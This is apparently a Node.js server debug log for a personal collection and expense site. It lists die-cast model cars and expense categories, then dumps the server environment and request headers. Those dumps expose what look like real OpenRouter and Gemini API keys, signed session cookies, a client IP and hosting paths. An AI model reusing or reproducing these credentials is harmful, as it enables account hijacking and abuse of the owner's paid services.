      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:03:58.712Z server-connect:router Serving templateView /
2026-02-04T07:03:58.712Z server-connect:app Executing action step identify
2026-02-04T07:03:58.712Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:58.712Z server-connect:output identity: 1
2026-02-04T07:03:58.712Z server-connect:app Executing action step restrict
2026-02-04T07:03:58.712Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:58.712Z server-connect:output restrict: undefined
2026-02-04T07:03:58.712Z server-connect:app Executing action step restrict
2026-02-04T07:03:58.712Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:58.713Z server-connect:output restrict: undefined
2026-02-04T07:03:58.713Z server-connect:router Render template layouts/main
2026-02-04T07:03:58.713Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:03:59.748Z server-connect:router Serving templateView /diecast
2026-02-04T07:03:59.748Z server-connect:app Executing action step identify
2026-02-04T07:03:59.748Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:59.749Z server-connect:output identity: 1
2026-02-04T07:03:59.749Z server-connect:app Executing action step restrict
2026-02-04T07:03:59.749Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:59.749Z server-connect:output restrict: undefined
2026-02-04T07:03:59.749Z server-connect:router Render template layouts/main
2026-02-04T07:03:59.749Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T07:04:00.672Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T07:04:00.672Z server-connect:app Executing action step identify
2026-02-04T07:04:00.672Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:00.673Z server-connect:output identity: 1
2026-02-04T07:04:00.673Z server-connect:app Executing action step restrict
2026-02-04T07:04:00.673Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:00.673Z server-connect:output restrict: undefined
2026-02-04T07:04:00.673Z server-connect:app Executing action step select
2026-02-04T07:04:00.673Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T07:04:00.676Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
